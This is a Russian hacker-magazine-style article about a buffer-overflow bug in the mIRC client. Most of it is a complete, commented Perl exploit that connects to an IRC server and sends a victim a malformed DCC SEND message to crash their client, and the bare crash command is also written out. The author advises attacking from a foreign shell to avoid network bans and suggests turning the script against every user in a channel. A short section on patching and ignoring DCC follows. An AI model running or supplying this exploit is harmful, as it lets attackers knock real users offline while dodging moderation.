Эксплоит для mIRC: от теории к практике

Совсем недавно мир был повержен новой багой в популярном IRC-клиенте. Если ты еще не знаешь о ней, читай
http://www.irchelp.org/irchelp/mirc/exploit.html. Суть в том, что благодаря элементарному переполнению буфера, становится возможным завалить удаленный клиент.

1. Теория.

Для того, чтобы убить mIRC, необходимо выполнить команду /privmsg NICK (1)DCC SEND "x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x" 0.

Где NICK - ник жертвы, а (1) - специальный символ (эквивалентен значению первого элемента таблицы ASCII), который применяется в клиенте. Обычно хакер может сам набрать подобную строку и завалить жертву, но это небезопасно по следующей причине:

Администрации IRC-сетей (особенно русских) далеко не наплевать на своих клиентов. Поэтому за подобные штуки хакеры награждаются глобальным баном (Gline) в сеть. Остается лишь пользоваться небольшим эксплойтом с буржуйского шелла, задача которого просто приконнектиться к серваку и послать команду.

2. Практика.

Такого эксплойта я не нашел, поэтому написал свой. В этом нет ничего сложного,
по сути скрипт - обычный IRC-бот (правда, весьма упрощенный). В скрипте я удалил ряд строк и добавил лишь отправку команды. Первоисточником являлся мой IRC-whoiser, про который я писал месяца два назад (в эпоху актуальности RPC-DCOM уязвимости).

Итак, сам эксплойт. Снабжаю его листинг подробными комментариями, чтобы лишний раз научить тебя программить на Perl :).

#!/usr/bin/perl

use IO::Socket;
use Getopt::Std;
getopt("spn"); ## Подключаем сокеты, getopt и парсим командную строку на параметры сервера, порта и ника.

$server=$opt_s || "mesra.kl.my.dal.net";
$port=$opt_p || 6667;
$nick=$opt_n || "Lamer"; ## Создаем дефолтовые поля.
$rand=int(rand(65550)); ## Генерируем случайное число.
print "Making connection to $server:$port... ";
$irc=IO::Socket::INET->new("$server:$port") || die print "failed!\n";
$irc->autoflush(1);
$|++; ## Создаем сокет, вырубаем буферизацию и соединяемся с сервером.
$mynick="SweetBoy".$rand; ## Генерируем ник по принципу SweetBoy+случайное 5-значное число.
print "done\nRegistering on server... ";
$irc->send("USER $mynick $mynick $mynick :$mynick\nNICK $mynick\n"); ## Регистрируемся на сервере.
sleep 20; ## Ждем 20 секунд (проще, чем юзать IO::Select, либо цикл с
$irc->recv()).
$spec=chr(1); ## Формируем шеллкод 🙂
$spec.="DCC SEND \"x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x\" 0";
## Состоящий из спец-символа, а также роковой команды.
$irc->send("PRIVMSG $nick :$spec\n"); ## Посылаем команду для ника.
sleep 10; ## Спим еще 10 секунд (для надежности).
print "done\nExiting...\n";
$irc->send("QUIT :bb2all\n"); ## Выходим из сети
close($irc); ## И закрываем сокет.

Я пошел легким, но неверным путем, используя sleep в своем скрипте. Конечно, надежности это не придает ни на грамм, зато... работает :). Я думаю, что 30 секунд ты подождешь без проблем.

Кстати, при желании ты можешь промодифицировать мой whios.pl в оружие массового поражения, которое рассылает подобное мессагу каждому нику на канале. Пусть это действие останется на твоей совести.

3. Защита.

И логическим завершение статьи будет ряд защитных действий против данного эксплойта и вообще баги.

Во-первых, переустанови mIRC на более свежий 6.12 релиз. Он был выпущен на следующий день после новости о баге. С новым клиентом у тебя не будет никаких проблем (если конечно багоискатели не найдут новую брешь в клиенте).

Во-вторых, выполни команду /ignore -wd * если возможности переустановить клиент не существует. Такой
игнор блокирует все входящие DCC-запросы. Таким образом, команда твоим клиентом обработана не будет.

В-третьих, существует скрипт для клиента, который фиксит переполнение буфера. Его ты можешь скачать по адресу
http://www.erler.org/Olathe/exploit%20fix.mrc. Вариант для продвинутых :).

И, наконец, некоторые IRC-сети пошли навстречу своим инертным юзерам. Например, в IRCNetRu блокирован DCC на уровне сети, поэтому побаловаться эксплойтом на серверах русского Иркнета невозможно. Как говорится, и волки сыты и
овцы целы (и пастуху вечная память :)).

4. Злоключение.

Вот, собственно, и все. Данная статья отражает еще один скрытый смысл - написать собственный эксплойт очень просто, если, конечно, знаешь принцип баги. Для меня модификация скрипта заняла около двух минут, и все заработало с первого раза, поэтому ничего сложного в скриптизации нет.